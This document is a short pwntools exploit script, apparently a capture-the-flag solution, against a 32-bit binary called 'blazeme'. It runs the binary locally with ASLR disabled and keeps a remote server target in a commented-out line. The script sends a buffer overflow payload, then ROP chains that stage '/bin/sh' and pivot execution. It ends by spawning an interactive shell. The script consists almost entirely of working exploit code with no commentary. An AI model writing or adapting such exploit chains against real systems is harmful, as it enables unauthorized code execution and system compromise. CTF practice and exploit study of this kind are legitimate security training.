from pwn import *
import time
context.arch='i386'
context.bits=32
context.log_level='debug'
r=process("./blazeme",aslr=False)

#r=remote("139.180.145.209",7492)
# gdb.attach(r,"""
#   b  * 0x080484ac

#   c
#   """)
#print r.recv()
#0x0000000000410493 : pop rsi ; ret
#0x0000000000400676 : pop rdi ; ret
#0x0000000000417cc3 : pop rcx ; ret
#0x0000000000435c1b : mov word ptr [rdi], cx ; ret

payload="1"*0x64
#0x0804858f : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret
#stage 1 mov to buffer

payload+=p32(0x1000)

payload+=p32(0x804a900)

payload+=p32(0x804a900)

payload+=p32(0x0804843D)
payload+=p32(0)
payload+=p32(0x804a800)
payload+=p32(0x1000)
payload+=p32(0x0804843D)
r.send(payload)
raw_input()
payload1="\x00"*(0x100-16)+"/bin/sh\x00"+p32(0x080482ce)*2+p32(0x804a8fc)
payload1+=p32(0x080482F0 )
payload1+=p32(0x080484ac  )
payload1+=p32(0)
payload1+=p32(0x804a00c-10)
payload1+=p32(0x804a92c)
payload1+=p32(2)
payload1+=p32(0x080482d1)
payload1+=p32(0x804a8f0)
payload1+=p32(0x080482F0)
#binsh=0x804a8f0
r.sendline(payload1)
raw_input()
payload2='\x00'*10+'\xd0'
r.send(payload2)
r.interactive()